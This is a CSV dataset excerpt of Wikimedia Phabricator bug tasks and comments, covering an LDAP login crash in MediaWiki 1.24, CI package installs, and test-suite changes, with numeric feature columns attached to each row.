+PHP Fatal error:  Call to a member function toString() on a non-object in /var/www/mediawiki-1.24.0/includes/User.php on line 3493
+```
+Workaround: Adding member through MySQL user table manually allows user to then login cleanly using LDAP User Credentials 
+
+Environment:
+------------
+CentOS release 6.5 (Final)
+Linux www 2.6.32-431.23.3.el6.x86_64 #1 SMP Thu Jul 31 17:20:51 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
+MediaWiki	1.24.0
+PHP	5.5.15 (apache2handler)
+MySQL	5.1.73
+
+Extensions:
+------------
+ImageMap	–
+ParserFunctions	1.6.0
+SyntaxHighlight	1.0.8.11-wmf1
+LDAP Authentication Plugin	1.2e
+Lockdown	–		
+WikiEditor	0.4.0
+",Medium,50.0,1418178469,1470916338.0,PHID-USER-woats4vil7ttyq2vrsqb,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-xtx2wl4xk7maivar7own,task_description,resolved,True,c3,1,False,False,False,-30,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+709911,Login hangs for new LDAP users in Mediawiki 1.24.0,"No reply to my last comment, hence resolving.",,,1470916338,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xtx2wl4xk7maivar7own,task_subcomment,,True,c3,3,True,,,58,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+703703,Login hangs for new LDAP users in Mediawiki 1.24.0,">>! In T78108#1126532, @saper wrote:
+> Initial reports confirm that applying 4dc1f5a1759bdf392504f4901748175b46f59a7e ([gerrit change Ib5f94b52c07e7dba89328b98fb43c86db95ee09f](https://gerrit.wikimedia.org/r/#/c/163640/)) seems to fix the issue.
+
+As that patch is included in supported versions 1.26, 1.27, should this task be closed as resolved?",,,1470072126,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xtx2wl4xk7maivar7own,task_subcomment,,True,c3,3,True,,,56,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,1,1,1,0,1,0,1,0,0,0,1,0,0,1
+427960,Login hangs for new LDAP users in Mediawiki 1.24.0,"Initial reports confirm that applying 4dc1f5a1759bdf392504f4901748175b46f59a7e ([gerrit change Ib5f94b52c07e7dba89328b98fb43c86db95ee09f](https://gerrit.wikimedia.org/r/#/c/163640/)) seems to fix the issue.
+
+`LdapAutoAuthentication::Authenticate` tries to add [the user into database](https://phabricator.wikimedia.org/diffusion/ELDA/browse/master/LdapAutoAuthentication.php;942548516f56da3c61de3de689c097830c1a8b72$90) and loaded defaults seem not to work.",,,1426626014,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-xtx2wl4xk7maivar7own,task_subcomment,,True,c3,1,True,,,-16,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+427908,Login hangs for new LDAP users in Mediawiki 1.24.0,Might be related to T73421,,,1426621218,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-xtx2wl4xk7maivar7own,task_subcomment,,True,c3,1,True,,,-16,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+427886,Login hangs for new LDAP users in Mediawiki 1.24.0,"Another user reporting this on IRC on 1.24.1 today:
+
+    [Tue Mar 17 18:08:36 2015] [error] [client A.B.C.D] PHP Fatal error:  Call to a member function toString() on a non-object in /var/www/html/wiki/includes/User.php on line 3493, referer: https://example.org/index.php?title=Special:UserLogin&returnto=Main+Page&returntoquery=action%3Dsubmitlogin%26type%3
+
+This is:
+
+    'user_password' => $this->mPassword->toString()",,,1426618957,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-xtx2wl4xk7maivar7own,task_subcomment,,True,c3,1,True,,,-16,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+427885,Login hangs for new LDAP users in Mediawiki 1.24.0,"Another user reporting this on IRC on 1.24.1 today:
+
+ [Tue Mar 17 18:08:36 2015] [error] [client A.B.C.D] PHP Fatal error:  Call to a member function toString() on a non-object in /var/www/html/wiki/includes/User.php on line 3493, referer: https://example.org/index.php?title=Special:UserLogin&returnto=Main+Page&returntoquery=action%3Dsubmitlogin%26type%3
+
+This is:
+
+ 'user_password' => $this->mPassword->toString()",,,1426618937,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-xtx2wl4xk7maivar7own,task_subcomment,,True,c3,1,True,,,-16,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+76734,Test against the HTTP interface,Our current restbase-cassandra tests exercise db directly & bypass the HTTP interface. We should switch the tests to use the HTTP (style) interface instead.,Medium,50.0,1417712533,1476314584.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-USER-gpb2ynmxbgmy4ld2555w,False,PHID-TASK-hfqu37heuxivgzvxhvfk,task_description,resolved,True,c3,1,True,False,False,-30,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+743573,Test against the HTTP interface,Just a weee bit high close latency in this case.,,,1476314831,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-hfqu37heuxivgzvxhvfk,task_subcomment,,True,c3,3,True,,,66,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+743569,Test against the HTTP interface,"Okey, thus was implemented looooooong time ago, resolving",,,1476314584,,PHID-USER-gpb2ynmxbgmy4ld2555w,False,,,PHID-TASK-hfqu37heuxivgzvxhvfk,task_subcomment,,True,c3,3,True,,,66,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+343126,Test against the HTTP interface,"All the tests except [[ https://github.com/wikimedia/restbase-cassandra/pull/31/files#diff-910eb6f57886ca16c136101fb1699231R548 | ""simple delete query""  ]] now use HTTP interface.",,,1418771311,,PHID-USER-4qh62vhvyv2pnehwzfak,False,,,PHID-TASK-hfqu37heuxivgzvxhvfk,task_subcomment,,True,c3,1,False,,,-29,True,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1
+342513,Test against the HTTP interface,Implemented here https://github.com/wikimedia/restbase-cassandra/pull/31,,,1418672674,,PHID-USER-4qh62vhvyv2pnehwzfak,False,,,PHID-TASK-hfqu37heuxivgzvxhvfk,task_subcomment,,True,c3,1,False,,,-29,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+76661,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"I tried to move the parsoidsvc-php-parsertests tests over to UbuntuTrusty (node 0.10) in https://gerrit.wikimedia.org/r/174031
+
+This is the result: https://integration.wikimedia.org/ci/job/parsoidsvc-php-parsertests/3043/console
+
+The PHP parser tests failed because various image-processing tools weren't installed on the contintLabsSlave host.",Medium,50.0,1417639548,1417804721.0,PHID-USER-m2ezqyeb4uz67zq6bats,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-elgzefmvhzif5z5gjrg2,task_description,resolved,True,c3,1,False,False,True,-31,True,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+336886,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"Cool, thanks!  I created T76881 to remind me to migrate the last jobs over to node 0.10 now.",,,1417806865,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-elgzefmvhzif5z5gjrg2,task_subcomment,,True,c3,1,False,,,-30,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+336870,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"I think the issue (missing pnmtojpeg on labs slave) is fixed.
+
+The parsoid parsertest job can be migrated to Precise labs instance with `contintLabsSlave && UbuntuPrecise`  (UbuntuTrusty slaves have Zend PHP 5.5.9).",,,1417804721,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-elgzefmvhzif5z5gjrg2,task_subcomment,,True,c3,1,True,,,-30,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+336756,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"Change 177770 merged by Alexandros Kosiaris:
+contint: mw multimedia packages on labs slaves
+
+[[https://gerrit.wikimedia.org/r/177770]]",,,1417788460,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-elgzefmvhzif5z5gjrg2,task_subcomment,,True,c3,1,False,,,-30,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+336701,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"https://gerrit.wikimedia.org/r/177770 has been applied on the contint puppetmaster.
+
+So you can get the job to run on Precise labs slaves using: `contintLabsSlave && UbuntuPrecise`",,,1417777590,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-elgzefmvhzif5z5gjrg2,task_subcomment,,True,c3,1,True,,,-30,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+336689,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"Change 177770 had a related patch set uploaded (by Hashar):
+contint: mediawik::multimedia on labs slaves
+
+[[https://gerrit.wikimedia.org/r/177770]]
+
+#patch-for-review",,,1417776423,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-elgzefmvhzif5z5gjrg2,task_subcomment,,True,c3,1,False,,,-30,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+336687,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"The labels `hasContintPackages` and `hasSlaveScripts` are only applied on the production slaves which are both Precise.  They are legacy labels which I should most probably cleanup. As a summary:
+
+* `hasSlaveScripts && UbuntuPrecise` matches the production slaves (Precise).
+* `contintLabsSlave && UbuntuTrusty` matches the labs Trusty slaves.
+* `hasSlaveScripts && UbuntuTrusty` indeed does not match any host and would cause the job to be stuck.
+
+The jobs using Zend php should use UbuntuPrecise which provides PHP 5.3.x.
+
+
+
+I have found out that ""pnmtojpeg"" is only available on the production slaves. The utility is provided by the puppet chain:
+
+* Package `netpbm` 
+* `mediawiki::packages::multimedia`
+* `mediawiki::multimedia`
+* `role::mediawiki::imagescaler` or `role::mediawiki::videoscaler`
+
+The contint packages are defined in `contint::packages` which only includes `mediawiki::packages`. So I am going to add  `mediawiki::multimedia` there and that will add `pnmtojpeg` on the contint slaves.",,,1417776190,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-elgzefmvhzif5z5gjrg2,task_subcomment,,True,c3,1,True,,,-30,True,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,1,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+336077,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"@hashar: nope, see the recheck on patch 11 on https://gerrit.wikimedia.org/r/170455 -- it works when the job was `hasSlaveScripts && UbuntuPrecise` (the original state, and PS4 -- after the recheck) but fails when the job is `contintLabsSlave && UbuntuTrusty` (PS3 of https://gerrit.wikimedia.org/r/174031 -- before the recheck).  When the job was `hasSlaveScripts && UbuntuTrusty` (PS2) the job hung in the `queued` state forever in zuul -- so I guess there's no machine matching that descriptor?
+
+",,,1417647649,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-elgzefmvhzif5z5gjrg2,task_subcomment,,True,c3,1,False,,,-31,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0
+336076,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"@hashar: nope, see the recheck on patch 11 on https://gerrit.wikimedia.org/r/170455 -- it works when the job was `hasSlaveScripts && UbuntuPrecise` (the original state, and PS4) but fails when the job is `contintLabsSlave && UbuntuTrusty` (PS3 of https://gerrit.wikimedia.org/r/174031).  When the job was `hasSlaveScripts && UbuntuTrusty` (PS2) the job hung in the `queued` state forever in zuul -- so I guess there's no machine matching that descriptor?
+
+",,,1417647603,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-elgzefmvhzif5z5gjrg2,task_subcomment,,True,c3,1,False,,,-31,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0
+336059,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"The Jenkins slaves have the puppet class `mediawik::packages` applied and that provides ddjvu.
+
+I confirmed on both Precise and Trusty slaves that:
+
+* `ddjvu` is present.
+* `pnmtojpeg` is not
+
+So it is unlikely it ever worked!
+
+
+In `tests/testHelpers.inc` there is a DjVuSupport class which is meant to detect whether all the $wgDjvu* settings are properly set.  The class is used when flagging a parser test .txt test with the option 'djvu', which would skip the parser test whenever the installation lacks support ( see tests/parser/parserTest.inc and grep djVuSupport).
+
+
+So my assumption is that whatever change triggered the build is also introducing a parser tests that require djvu but lacks the 'djvu' option.  The job should fail on Precise slave as well.
+
+Triggering the job against a dummy commit on a Trusty instance should pass.",,,1417645104,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-elgzefmvhzif5z5gjrg2,task_subcomment,,True,c3,1,True,,,-31,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+76626,HTTPS-to-HTTP downgrade option interstitial,,Medium,50.0,1417632210,1423681115.0,PHID-USER-srhlj2447vmpmrfhqnfa,False,PHID-USER-srhlj2447vmpmrfhqnfa,False,PHID-TASK-p3waplblcy3uungfizrr,task_description,resolved,True,c3,1,True,True,True,-31,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+114405,SPARQL endpoint should also support HTTP POST,SPARQL queries tend to get very long so support of HTTP POST would be nice to avoid bloating logfiles.,Low,25.0,1443727476,1443729050.0,PHID-USER-epdfp2z3jry7mc62cskd,False,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-tgup4ihpuskm3cdwboqg,task_description,duplicate,True,c3,3,False,False,True,13,True,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+97242,use httpbin.org,"The http tests use getstatuscode.com , and a few other sites to produce known http responses.  Using http://httpbin.org/ would be better.",Low,25.0,1430036672,1433254873.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-pdlnbp2w5h2rej2hikwj,False,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_description,resolved,True,c3,1,True,False,True,-10,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1
+467460,use httpbin.org,@Akshitk congrats on your first bug!,,,1433254873,,PHID-USER-pdlnbp2w5h2rej2hikwj,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0
+467411,use httpbin.org,"Change 215248 merged by jenkins-bot:
+Use httpbin.org for http status code.
+
+[[https://gerrit.wikimedia.org/r/215248]]",,,1433250311,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+467384,use httpbin.org,"Change 215264 abandoned by AkshitKumar:
+Bug Fix - Change the host site for http status codes
+
+Reason:
+Duplicate
+
+[[https://gerrit.wikimedia.org/r/215264]]",,,1433247082,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+467383,use httpbin.org,"Change 215248 restored by AkshitKumar:
+Use httpbin.org for http status codes
+
+Reason:
+Abandoned by mistake
+
+[[https://gerrit.wikimedia.org/r/215248]]",,,1433246986,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+467180,use httpbin.org,"Change 215261 abandoned by AkshitKumar:
+Bug Fix - Change the host site for http status codes
+
+Reason:
+Duplicate
+
+[[https://gerrit.wikimedia.org/r/215261]]",,,1433207602,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+467179,use httpbin.org,"Change 215248 abandoned by AkshitKumar:
+Use httpbin.org for http status codes
+
+Reason:
+Duplicate
+
+[[https://gerrit.wikimedia.org/r/215248]]",,,1433207572,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+467178,use httpbin.org,"Change 215264 had a related patch set uploaded (by AkshitKumar):
+Bug Fix - Change the host site for http status codes
+
+[[https://gerrit.wikimedia.org/r/215264]]
+",,,1433207041,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+467175,use httpbin.org,"Change 215261 had a related patch set uploaded (by AkshitKumar):
+Bug Fix - Change the host site for http status codes
+
+[[https://gerrit.wikimedia.org/r/215261]]
+",,,1433206895,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+467140,use httpbin.org,Hmm @jayvdb already changed the commit message and here it is ;),,,1433205220,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0
+467139,use httpbin.org,"As I've commented in PS2, that shouldn't matter. As long as the bug number is not separated by a new line from the change id.",,,1433205172,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+467138,use httpbin.org,"Change 215248 had a related patch set uploaded (by John Vandenberg):
+Use httpbin.org for http status codes
+
+[[https://gerrit.wikimedia.org/r/215248]]
+",,,1433205127,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
